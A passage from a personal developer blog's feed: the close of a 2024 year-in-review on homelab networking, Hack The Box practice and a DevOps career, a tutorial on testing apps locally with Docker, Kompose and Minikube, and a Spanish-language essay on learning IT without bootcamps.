</li>
<li><p>VLANs</p>
</li>
<li><p>Interfaces</p>
</li>
<li><p>Bridges</p>
</li>
<li><p>Routing</p>
</li>
<li><p>DHCP Servers</p>
</li>
<li><p>VPN’s</p>
</li>
</ul>
<p>I had at least broke everything like 7 times, which broke I mean I had no internet because of misconfigurations. Thank god I had backups every time I changed 1 thing, also MikroTik documentation is awesome.</p>
<p>Right now, the thing is something like this. Excluding the fact that I used other ranges</p>
<p>I have 4 VLANs, 3 tagged and 1 untagged, running with the MikroTik in a dual NAT (for now)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736654144064/fd222fcc-c4be-42de-b99b-7f1e7fa1ee8a.png" alt class="image--center mx-auto" /></p>
<p>VLAN’s can still communicate to each other once I decide where I’m going to move the ingress machine or If I’m going to use one ingress for each VLAN</p>
<p>The k3s cluster only is there for the apps exposed to the internet, and I’m using these apps to monitor the load on the servers and get some metrics.</p>
<h1 id="heading-pentesting">Pentesting</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736660536053/c65ff4dc-cd6b-4c26-a0cc-5ee9538883ba.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736660598194/78462d56-de1a-4c2e-9c28-8ededa4ecebb.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-why-pentesting">Why pentesting?</h2>
<p>Good question, I can say that pentesting is not 100% related about what I’m currently doing (DevOps/SRE) but I say in my head, Hey! I want to understand how people can attack my apps and ended up expending around 3-4 months doing machines in HTB</p>
<p>The repository with everything is right here</p>
<ul>
<li><p><a target="_blank" href="https://github.com/jd-apprentice/hack-the-box">https://github.com/jd-apprentice/hack-the-box</a></p>
</li>
<li><p><a target="_blank" href="https://pentest.jonathan.com.ar/">https://pentest.jonathan.com.ar/</a></p>
</li>
</ul>
<p>Also, there is this MkDocs that contains every markdown</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736655964682/916b6215-cc38-4e10-b530-2598d1bfb013.png" alt class="image--center mx-auto" /></p>
<p>I managed to be invited as a Guest in a meeting of the HTB Argentinian community solving a machine live</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736656220901/2b397889-6160-4990-ae4f-63e2a286b401.jpeg" alt class="image--center mx-auto" /></p>
<p>Can be seen here <a target="_blank" href="https://www.youtube.com/watch?t=4479&amp;v=zxmCYEddfeU&amp;feature=youtu.be">https://www.youtube.com/watch?t=4479&amp;v=zxmCYEddfeU&amp;feature=youtu.be</a></p>
<p>Went to some events (and meet coworkers)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736656685236/c85c682c-31fd-45d7-9365-70f384c02f95.jpeg" alt class="image--center mx-auto" /></p>
<p>Made some appearances in global CTF’s</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736656161433/08e8801e-3bd5-4988-86a2-f2762df57804.jpeg" alt class="image--center mx-auto" /></p>
<p>Also, some local ones</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736656274830/84d61b29-5407-49f7-9dda-8a4423f0a0a0.jpeg" alt class="image--center mx-auto" /></p>
<p>And the most important thing for me, I joined one of the best teams in Latin America <a target="_blank" href="https://d1stinct.com/">https://d1stinct.com/</a> which at the time I’m writing this is the Top 1 in Argentina, outside of that I made some great friends that I love to be part of their lives.</p>
<h1 id="heading-my-career-growth">My career growth</h1>
<p>My entire 2024 was on the same company, so I’m going to use that as a reference</p>
<p>Moving along from my Software Developer role last year, I enter this company as a DevOps Engineer JR, which is my first Infrastructure experience, I’m really thankful for the opportunity, but I believe that my hardwork ended un being a good decision since I had the most growth of the entire team, thanks to the time I spent with my experiments and people around me always pushing me to be better every day.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736656994338/9f4902fd-ddf9-4334-a5c2-86cc7246898f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736656963065/a5af95d7-90b5-4376-92a8-a4d8bf512629.png" alt class="image--center mx-auto" /></p>
<p>Now let’s talk about my current role, currently I’m the referent of the DevOps team in one of the clients, being part of the architecture had expanded my mind and knowledge in a way that I’ll say no other role has the opportunity to do so, this because while being in touch with the developers and knowing the day by day problems, I’m also in contact with the executives and see the business needs and I can align my ideals to benefit everyone.</p>
<p>My responsibilities currently are beyond the DevOps, sometimes I act as a software architect since the role is needed, here are some of the things I do in my daily basis. (Copying and expanding from the linkedin)</p>
<p>1. Build guidelines for teams to follow best practices in development, infrastructure, and testing.<br />2. Design infrastructure, implementation, and technical documentation.<br />3. Ensure projects completion and build reports for stakeholders.<br />4. Enforce quality and security in the development process.<br />5. Satisfy applications architecture and business needs.<br />6. Technical interviews and seniority review.<br />7. Assistance and mentor of team members.<br />8. Code review and pair programming.</p>
<ol>
<li>First point</li>
</ol>
<p>I wrote more than 50 pages of documentation (in a few months), videos and code examples, templates, PoCs about how everything should be done, from how commits should be done, names for repositories, process on how to request for X, how teams must behave in X situation, every time a new person entered the team we done our regular onboarding process and once I found something that was not “expected” I added that exception to the documentation.</p>
<ol start="2">
<li>Second point</li>
</ol>
<p>Even thought my initial role was not responsible for these sort of that those things I really enjoyed them and started doing it by myself but in later stages I ended up being asked or at least got considerated for an opinion for everything, which is some cases is not optimal but I’m glad people valuate my opinion.</p>
<ol start="3">
<li>Third point</li>
</ol>
<p>While my boss is the one who is asked to dates related to finish things, after being a referrer I started to understand the importante of ensuring completions in established deadlines and started focusing these things, while also helping in reporting stuff to the superiors of him.</p>
<ol start="4">
<li>Four point</li>
</ol>
<p>When I arrived here the CI/CD process only contain the build stage for the app and sonarqube report (without coverage). Now the entire CI/CD process contains</p>
<ul>
<li><p>Testing (Unit, Integration, E2E if applies)</p>
</li>
<li><p>SAST (coverage included, stops the pipeline if quality gate is not passed)</p>
</li>
<li><p>Vulnerability scan (stops the pipeline if high+ vulnerabilities are discovered)</p>
</li>
<li><p>Secret managment for sensitive values</p>
</li>
<li><p>Re-usable workflow (templates)</p>
</li>
</ul>
<ol start="5">
<li>Fifth point</li>
</ol>
<p>While most of the people/roles focus on their only task given, I’m doing that plus looking for that the business needs, speaking with executives, stakeholders and listening to them to ensure that I’m aligned with them.</p>
<ol start="6">
<li>Six point</li>
</ol>
<p>Although this was not part of my initial contract neither never mentioned, the client that I’m working on decided to invite me to the interviews because he belives in me (Happy Joni). Also I’m giving feedback for new people and helping to found/decide their seniority.</p>
<ol start="7">
<li>Seven point</li>
</ol>
<p>Whenever there is a new people on the team I always got call with thems (if they are technical) and do a quick tour about everything we have and provide them with documentation links, videos, documents, and everything needed, some of them are directly in my charge so I’m continuous work to make them improve and ensure they fell safe and can operate well.</p>
<p>Every 2 weeks I usually give meets/talks about new concepts that I’m including in the development process so developers can get in touch faster with things I’m adding.</p>
<ol start="8">
<li>Eight point</li>
</ol>
<p>Thanks to my hardwork and background as a developer, people often ask me to review their work because of my high quality for every process that I’m part of it. I’m also often in call to help people with their problems when they are stuck for too long.</p>
<h2 id="heading-not-current-job-related">Not current job related</h2>
<p>Well I had done a lot of things but one of the most cool ones or at least my favorites were joining the RustlangES (<a target="_blank" href="https://rustlang-es.org/">https://rustlang-es.org/</a>) community in which I become a active contributor</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736659638830/8f5bec0d-9665-47f2-b341-da2c84cd95dd.png" alt class="image--center mx-auto" /></p>
<p>In which I gave a talk in the last few months <a target="_blank" href="https://www.youtube.com/watch?v=B9WX3VC9TG4">https://www.youtube.com/watch?v=B9WX3VC9TG4</a></p>
<p>And I’m publishing blogs whenever I learn something cool <a target="_blank" href="https://blog.rustlang-es.org/articles/cargo-generate">https://blog.rustlang-es.org/articles/cargo-generate</a></p>
<p>Currently I’m helping with these things</p>
<p>- Build automations with GitHub Actions (reusable workflows)<br />- Create content for the community (blogs, talks, workshops)<br />- Networking management (waf, cache, analytics, etc)<br />- Advisories (vulnerable dependencies)<br />- Code quality and testing enforcement</p>
<p>Rustlang is not the only org I’m part of it :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736659861889/78e7e8d6-e149-48b9-bdb6-8e6093df9be4.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-certifications">Certifications</h2>
<p>Got github foundations at speedrun level (went into the exam with no prep and took me around 11 minutes) this is why I’m using github non stop for the past 4 years so this was no issue at all.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736660016241/a2e102de-83c5-4525-b81f-926b2410c6d5.png" alt class="image--center mx-auto" /></p>
<p>I’m thinking about taking the actions one and maybe security</p>
<p>Also I’ll give a shot to some of the kubernetes certs in this 2025.</p>
<p>Some of the random certs from Cloud Guru, also speed run level.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736660203287/df03936b-7005-4ada-8fa4-999354bd1d98.webp" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736660249165/b6666415-dfaa-4e4a-bfb2-6bbf29b1cd46.webp" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736660293987/bc6a5fb3-b7c5-424d-9e38-1529a1441d5a.webp" alt class="image--center mx-auto" /></p>
<p>Also got in Completed some cool labsHTB and Tryhackme there is a lot of things like</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736656122252/ed242330-7f34-4310-a3e0-5a29401b6cbc.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-events">Events</h2>
<p>Not only I was part of the ekoparty that I showed a picture in the Pentesting section but also I participed in the nerdearla this year</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736661397142/4f472faa-f509-447d-8f89-9d9285843fd4.jpeg" alt class="image--center mx-auto" /></p>
<p>but also the AWS cloud experience</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736661461041/a1eae7ce-c501-4a85-bc2f-fef4a1037901.jpeg" alt class="image--center mx-auto" /></p>
<p>and the global game jam (<a target="_blank" href="https://globalgamejam.org/games/2024/one-more-chance-2">https://globalgamejam.org/games/2024/one-more-chance-2</a>)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736661563366/2e22dcf3-1ba5-48ae-b276-490e2ba1179e.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736661578717/cb6e4fc2-7093-46bd-8c20-61ffa63a4d58.jpeg" alt class="image--center mx-auto" /></p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>If you are here thank you so much for taking the time to read everything!</p>
<p>There is 100% a lot of things I’m missing but I tried my best haha</p>
<p>I’m still going to keep being a better version of me every day once I have no more room to improve, not only tecnical but as a person itself, while also helping others. Things are more fun when you have company to travel that path.</p>
]]></content:encoded></item><item><title><![CDATA[Test your apps in Docker or Kubernetes locally]]></title><description><![CDATA[Today I’m going to talk about a few things that happen to me pretty often, which is that developers don’t like to test their changes more than some basic examples or only in to write box way, no one likes testing neither use Linux (which is the OS wh...]]></description><link>https://blog.jonathan.com.ar/test-your-apps-in-docker-or-kubernetes-locally</link><guid isPermaLink="true">https://blog.jonathan.com.ar/test-your-apps-in-docker-or-kubernetes-locally</guid><category><![CDATA[Docker]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[development]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Sun, 24 Nov 2024 21:37:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1732485568621/1db3262f-6b49-4abd-8e9e-77c01c50746a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Today I’m going to talk about a few things that happen to me pretty often, which is that developers don’t like to test their changes more than some basic examples or only in to write box way, no one likes testing neither use Linux (which is the OS where most of the production apps run) so their development environment is far different from what apps are supposed to work with. Let’s talk about a few things, one of them which is import for everyone is SDLC.</p>
<h2 id="heading-software-development-life-cycle">Software Development Life Cycle</h2>
<p>So, coding is an important part of the SDLC or the product itself but pushing your code to the repository is neither the end nor the beginning, there are a lot (really a lot) of things happening previously and after that!</p>
<p>Graph took from [HERE](<a target="_blank" href="https://www.geeksforgeeks.org/software-development-life-cycle-sdlc/">https://www.geeksforgeeks.org/software-development-life-cycle-sdlc/</a>)</p>
<p><img src="https://media.geeksforgeeks.org/wp-content/uploads/20231220112830/6-Stages-of-Software-Development-Life-Cycle.jpg" alt="Lightbox" /></p>
<p>So it’s significant to understand the complete SDLC, why? Because one of the final aspects of it is the deployment! And the deployment is totally dominated by the Linux OS.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732480957486/a170d502-ab06-4496-8c9a-9d0dcb93460d.png" alt class="image--center mx-auto" /></p>
<p>But people don’t use Linux in the personal or working computers, not as much as Windows, so that creates us a problem where developers try their apps on Windows then push their code and end up uploading that code to a Linux machine. So here if there is an error because the OS works differently.</p>
<h2 id="heading-how-we-can-solve-it">How we can solve it?</h2>
<p>One of the many solutions for these is something that is quite popular in the recent decade and is containers, I’m not going to explain what they are or how they're work, but rather why we should use them at least for local development, even if your server doesn’t run another OS.</p>
<h3 id="heading-proposal-1-docker">Proposal #1: Docker</h3>
<p>Using the <code>docker</code> engine we can build what is called <code>Dockerfiles</code> here is an example of a Golang app running GIN a web framework.</p>
<pre><code class="lang-dockerfile"><span class="hljs-comment"># DEV</span>
<span class="hljs-keyword">FROM</span> golang:alpine3.<span class="hljs-number">20</span> AS build

<span class="hljs-keyword">WORKDIR</span><span class="bash"> /app</span>
<span class="hljs-keyword">COPY</span><span class="bash"> . /app</span>
<span class="hljs-keyword">RUN</span><span class="bash"> go mod download</span>
<span class="hljs-keyword">RUN</span><span class="bash"> GOARCH=amd64 go build -o ./bin/InfobaeAPI ./src/main.go</span>

<span class="hljs-comment"># PROD</span>
<span class="hljs-keyword">FROM</span> alpine:<span class="hljs-number">3.20</span>

<span class="hljs-keyword">RUN</span><span class="bash"> addgroup -S appgroup &amp;&amp; adduser -S infobae -G appgroup</span>
<span class="hljs-keyword">WORKDIR</span><span class="bash"> /app</span>
<span class="hljs-keyword">COPY</span><span class="bash"> --from=build /app/bin/InfobaeAPI /app/bin/InfobaeAPI</span>
<span class="hljs-keyword">ENV</span> GIN_MODE=release

<span class="hljs-keyword">USER</span> infobae
<span class="hljs-keyword">ENV</span> PORT=<span class="hljs-number">3000</span>
<span class="hljs-keyword">EXPOSE</span> ${PORT}
<span class="hljs-keyword">ENTRYPOINT</span><span class="bash"> [<span class="hljs-string">"/app/bin/InfobaeAPI"</span>]</span>
</code></pre>
<p>If our apps communicate with other components, or we just want to have an easier read of the panorama (or just type less) we can create a <code>compose.yml</code></p>
<pre><code class="lang-yaml"><span class="hljs-attr">services:</span>
  <span class="hljs-attr">infobae:</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">infobae</span>
    <span class="hljs-comment">## https://hackernoon.com/how-to-harden-your-docker-containers-using-seccomp-security-profile-81153ucz</span>
    <span class="hljs-attr">security_opt:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-literal">no</span><span class="hljs-string">-new-privileges</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">seccomp=./security/seccomp.json</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">apparmor=./security/non-root.profile</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>
    <span class="hljs-attr">cap_add:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">CHOWN</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">NET_BIND_SERVICE</span>
    <span class="hljs-attr">cap_drop:</span> [<span class="hljs-string">"ALL"</span>]
    <span class="hljs-attr">build:</span>
      <span class="hljs-attr">context:</span> <span class="hljs-string">.</span>
      <span class="hljs-attr">dockerfile:</span> <span class="hljs-string">Dockerfile</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"${PORT}:3000"</span>
</code></pre>
<p>In this example, I’m creating a service with a unique container that has some security constraints.</p>
<p>This container is going to build in an operating system called <code>alpine</code> which is a minimal operating system often used for work fulls that don’t need that many things.</p>
<p>With <code>docker compose up -d</code> while having the <code>compose</code> and <code>Dokerfile</code> in hand, we can create a docker container that will run our app with the base OS and our app.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732482610473/7fef37f6-54a8-48b3-a572-eda511365ea6.png" alt class="image--center mx-auto" /></p>
<p>The end result is something like this where I see my app running, if my machine was a windows one, and I wanted to try how it works in a Linux environment, this was a success (at least for runtime apps, read something about build time just in case)</p>
<p>This workflow is valid in simple environments where Kubernetes is not into mind. Next we are going to cover the Kubernetes part.</p>
<h3 id="heading-proposal-2-minikube">Proposal 2: Minikube</h3>
<p>Post used as reference [HERE](<a target="_blank" href="https://www.digitalocean.com/community/tutorials/how-to-use-minikube-for-local-kubernetes-development-and-testing">https://www.digitalocean.com/community/tutorials/how-to-use-minikube-for-local-kubernetes-development-and-testing</a>)</p>
<p>In some workflows there are Kubernetes clusters with are part of the entire infrastructure, so testing docker would be fine since the container itself is part of the pods which is the smallest components in the Kubernetes ecosystem, but maybe we want to try more components of it, that’s why building a local cluster can be handy.</p>
<p>But you may be thinking, building a local cluster won’t be hard for a developer? Is not even part of their job, well kinda. Their job is to make the app work no matter what, so testing locally in a real scenario would be ideal for them. Lucky enough, there are solutions like <code>Minikube</code> which creates clusters for local development quite easily.</p>
<p>Now let’s get into practice, In my case I used <code>Kompose</code> to convert the <code>compose.yml</code> into Kubernetes manifestos, with a command like this <code>kompose -f compose.yml convert</code> I got this file</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">annotations:</span>
    <span class="hljs-attr">kompose.cmd:</span> <span class="hljs-string">kompose</span> <span class="hljs-string">-f</span> <span class="hljs-string">docker-compose.yml</span> <span class="hljs-string">convert</span>
    <span class="hljs-attr">kompose.version:</span> <span class="hljs-number">1.34</span><span class="hljs-number">.0</span> <span class="hljs-string">(HEAD)</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">infobae</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">1</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">annotations:</span>
        <span class="hljs-attr">kompose.cmd:</span> <span class="hljs-string">kompose</span> <span class="hljs-string">-f</span> <span class="hljs-string">docker-compose.yml</span> <span class="hljs-string">convert</span>
        <span class="hljs-attr">kompose.version:</span> <span class="hljs-number">1.34</span><span class="hljs-number">.0</span> <span class="hljs-string">(HEAD)</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">image:</span> <span class="hljs-string">dyallo/infobae_api</span>
          <span class="hljs-attr">name:</span> <span class="hljs-string">infobae-dev</span>
          <span class="hljs-attr">ports:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">3000</span>
              <span class="hljs-attr">protocol:</span> <span class="hljs-string">TCP</span>
          <span class="hljs-attr">securityContext:</span>
            <span class="hljs-attr">allowPrivilegeEscalation:</span> <span class="hljs-literal">false</span>
            <span class="hljs-attr">capabilities:</span>
              <span class="hljs-attr">add:</span>
                <span class="hljs-bullet">-</span> <span class="hljs-string">CHOWN</span>
                <span class="hljs-bullet">-</span> <span class="hljs-string">NET_BIND_SERVICE</span>
              <span class="hljs-attr">drop:</span>
                <span class="hljs-bullet">-</span> <span class="hljs-string">ALL</span>
      <span class="hljs-attr">restartPolicy:</span> <span class="hljs-string">Always</span>
</code></pre>
<p>And this one too</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Service</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">annotations:</span>
    <span class="hljs-attr">kompose.cmd:</span> <span class="hljs-string">kompose</span> <span class="hljs-string">-f</span> <span class="hljs-string">docker-compose.yml</span> <span class="hljs-string">convert</span>
    <span class="hljs-attr">kompose.version:</span> <span class="hljs-number">1.34</span><span class="hljs-number">.0</span> <span class="hljs-string">(HEAD)</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">infobae</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">ports:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">"5000"</span>
      <span class="hljs-attr">port:</span> <span class="hljs-number">5000</span>
      <span class="hljs-attr">targetPort:</span> <span class="hljs-number">3000</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">io.kompose.service:</span> <span class="hljs-string">infobae</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">NodePort</span>
</code></pre>
<p>Now using <code>kubectl</code> we can do something like <code>kubectl -f apply .</code> and apply all changes of the manifestos we created before with <code>kompose</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1732483613006/e820cd6b-57d9-42da-bdb6-d284632b08d3.png" alt class="image--center mx-auto" /></p>
<p>Here I make sure that the cluster is running with <code>minikube start</code>, apply the manifestos with <code>kubectl apply -f ./kubernetes</code>, check that the service is running <code>kubectl get services</code> grab the IP from the cluster since I’m using <code>NodeIP</code> in the service with <code>minikube ip</code> and curl the app (since is an API).</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>It is always necessary to test (also with testing!) your apps before publishing into the server, do not be satisfied only by running things like <code>npm run dev</code> or <code>npm run build</code> your OS is not always the same as the server! Learn more about what happens before and after you start coding.</p>
<p>Don’t be a code monkey.</p>
]]></content:encoded></item><item><title><![CDATA[Cómo Destacar en la Era de los Bootcamps: Sin Atajos]]></title><description><![CDATA[¡Buenas! Hoy voy a tener un blog un poco diferente (y quizás varios similares) no solo en mi idioma nativo (que igualmente escribo mal) pero sino algo no tan técnico sino bien más contando una experiencia (como también dando consejos)
TL;DR - Dedique...]]></description><link>https://blog.jonathan.com.ar/como-hice-para-destacar-en-la-epoca-de-los-bootcamps</link><guid isPermaLink="true">https://blog.jonathan.com.ar/como-hice-para-destacar-en-la-epoca-de-los-bootcamps</guid><category><![CDATA[reflection]]></category><category><![CDATA[personal]]></category><category><![CDATA[IT]]></category><category><![CDATA[getting started]]></category><category><![CDATA[jobs]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Sat, 12 Oct 2024 01:09:32 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728695262317/262829d4-b787-42b5-a3e3-a88c4f1413b1.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>¡Buenas! Hoy voy a tener un blog un poco diferente (y quizás varios similares) no solo en mi idioma nativo (que igualmente escribo mal) pero sino algo no tan técnico sino bien más contando una experiencia (como también dando consejos)</p>
<p>TL;DR - Dediquen mucho tiempo, no esperen que sus experiencias los hagan mejorar, pueden escapar muy rapido las personas del mercado no son dedicadas lo suficiente</p>
<h2 id="heading-cual-fue-mi-trayectoria-hasta-llegar-a-mi-primer-trabajo">¿Cuál fue mi trayectoria hasta llegar a mi primer trabajo?</h2>
<p>Para ingresar a IT estuve al rededor de 10 meses dedicándole un aproximado de 10 hs por día durante ese periodo de tiempo, esa sería la versión corta. Despues de esto consegui trabajo como desarrollador frontend web, en la actualidad trabajo como devops (si, hice cambio de rol, eso para otro blog)</p>
<p>¿Ahora la versión larga, que hice exactamente? ¿Y qué fue diferente a los demás?</p>
<h3 id="heading-no-hice-bootcamps-cursos-y-demas-disclaimer">No hice bootcamps, cursos y demás (disclaimer)</h3>
<p>¿Por qué no hice bootcamps, cursos ni nada guiado? Porque encontré que en la realidad, trabajar en IT es tener cierto grado de autonomía y adaptarse a los cambios, meterse en cosas desconocidas y muy pocas veces luchar contra algo que quizás no exista siquiera en internet. Entonces dicho esto, mi proceso fue el siguiente, todo el aprendizaje fue con base en proyectos, proyectos para aprender temas en particular, proyectos para mezclar cosas, para crear algo útil y muchas ideas más, actualmente sigo haciendo esto y tengo actualmente 166 repositorios</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728685278928/9565226e-bf3b-4912-b16d-13012326c544.png" alt class="image--center mx-auto" /></p>
<p>¿Y como se ve esto desde que empecé?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728685363784/a7fccc43-e727-4489-bc0e-3374034ade81.png" alt class="image--center mx-auto" /></p>
<p>Esto es la constancia que tuve desde que empecé en junio del 2021 (en el 2020 me había hecho la cuenta, pero no me interese hasta el 2021). ¿Esto realmente me ayudo a buscar trabajo, el tener el GitHub tan lindo? No, pero sí el tiempo dedicado en aprender y tener proyectos que presentar en las entrevistas.</p>
<p>Disclaimer: ¿Realmente no hiciste ningún curso? Si hice muchos, pero nunca los hice para aprender porque siempre quise tener la autonomía suficiente para crear yo mis propios problemas, decidir que era necesario a sumar a mi expertise como también crear mis propias soluciones, hacer cursos reduce todo tipo de capacidad que puedes tener, sino para publicitar de forma que el mercado le interese (diciendo que termine algo) entonces lo que hacía era aprender todo por mi cuenta y después iba y dejaba el curso terminarse sin mirarlo o si era preguntas y respuesta los hacía sin leer nada (porque ya venía con el conocimiento por hacer proyectos) entonces era el equivalente a rendir libre). Estos entonces los usaba para publicar en linkedin cada tanto y que se vea que estoy haciendo algo, ya que tristemente a la industria todavía les interesa mucho que uno tenga todo tipo de educación (sacando lo obvio que es la universidad) ser autodidacta puro te va a hacer pasar una entrevista técnica sí, pero para el mercado y RR. HH. no tienes valor alguno sin absolutamente nada.</p>
<h3 id="heading-comparti-todo-mi-conocimiento-publicamente">Compartí todo mi conocimiento públicamente</h3>
<p>¿A qué me refiero con esto? Que además de publicar cosas en LinkedIn cada 2 semanas, ya sea por algo terminado o que tenga avances, le muestre siempre a mis personas cercanas mi conocimiento esto hace que los demás puedan ver lo que sabes/vales y puedan presentarte a otras personas, llegando eventualmente a ganar alguna recomendación.</p>
<h3 id="heading-me-hice-uni-a-comunidades-e-hice-amigos">Me hice uni a comunidades e hice amigos</h3>
<p>A principio aprendía parcialmente solo y no tenía guía alguna, ni conocía roadmaps, era un total desastre mi ruta de aprendizaje un día me tenías aprendiendo frontend y al otro día sistemas embebidos, hasta que me metí a una comunidad y me empezaron a orientar de como funcionaba el mercado si bien progresaba día a día era un total desastre todo. Además de que conocí gente en mi mismo nivel y empezamos a hacer proyectos juntos, esto fue un montón porque ya ganas algo de experiencia real, tuve la suerte de participar en una comunidad llamada Frontendcafe que además organizaba proyectos con gente muy buena (tanto emocional como técnicamente) y nos mentoreaban, desde ahí mi día a día era hacer proyectos en grupo todos los días y solo también. A este punto, ya si bien mi conocimiento era bajo, estaba superbién encaminado.</p>
<h3 id="heading-cree-constancia-haciendo-retos-y-demas">Cree constancia, haciendo retos y demás</h3>
<p>Así como me había conseguido amigos para estudiar seguido, empecé retos, tenía un horario para proyectos (como que mis proyectos era mi horario laboral) y después de eso tomaba retos de internet para dedicarles 1 hora al día, ej. hice este <a target="_blank" href="https://github.com/jd-apprentice/Javascript30Solutions">https://github.com/jd-apprentice/Javascript30Solutions</a>. ¿Por qué es importante la constancia? Si las demás personas no se esfuerzan y vos le dedicas un poco cada día eventualmente los superas, aunque no está bien compararse con los demás, todos los días vas a ser una mejor versión tuya, yo no soy una persona muy iluminada es más diría que estoy por debajo de la media en mis capacidades, las veces que intente la universidad ni siquiera pude pasar el filtro inicial, pero la constancia termino siendo mi mejor arma.</p>
<h3 id="heading-es-posible-esto-para-todos">¿Es posible esto para todos?</h3>
<p>Posiblemente no, pero lo mío fue planeado, siendo de una familia de bajos recursos, trabaje muchísimo tiempo y ahorre lo suficiente como para poder estar sin trabajar un tiempo mientras vivía con mi familia, aportando desde mis ahorros y enfocándome de la forma más óptima posible (hice muchos sacrificios a nivel social y darme lujos)</p>
<h3 id="heading-resumen">Resumen</h3>
<ol>
<li><p>Dedicarle tiempo, realmente aprendiendo no solo queriendo aparecer, si vas a hacer cursos está bien, pero invertí el tiempo que sea necesario para aprender y no solo terminar cosas para publicarlas, ponle más tiempo a la práctica siempre, no puedes pretender decir que sabes algo por solo saber la teoría, eso queda para la universidad.</p>
</li>
<li><p>Constancia, no hace falta que sean 10 hs todos los días, pero mínimo tendrías que dedicarle 20 hs semanales, es mejor si es una X tiempo al día que todo un fin de semana, eso va a depender de la vida de cada uno, pero la constancia termina siendo mejor recuerden eso, utilicen retos u proyectos y vayan de a poco.</p>
</li>
<li><p>Compartir tu conocimiento, ya sea con publicaciones en discord, twitter, linkedin, youtube, foros, etc. Demuestra tu conocimiento, mostrale tu progreso al mundo para que vean como cada día sabes más y puedan en algún momento ponerse en contacto con vos por algún trabajo</p>
</li>
<li><p>Participa en comunidades, hazte amigos, aprende con otros. Esto es super importante al final del día, ya que individualmente del rol que estés metido, vas a trabajar en equipo, a su vez puedes tener la suerte de encontrar gente muy buena y que te ayuden</p>
</li>
</ol>
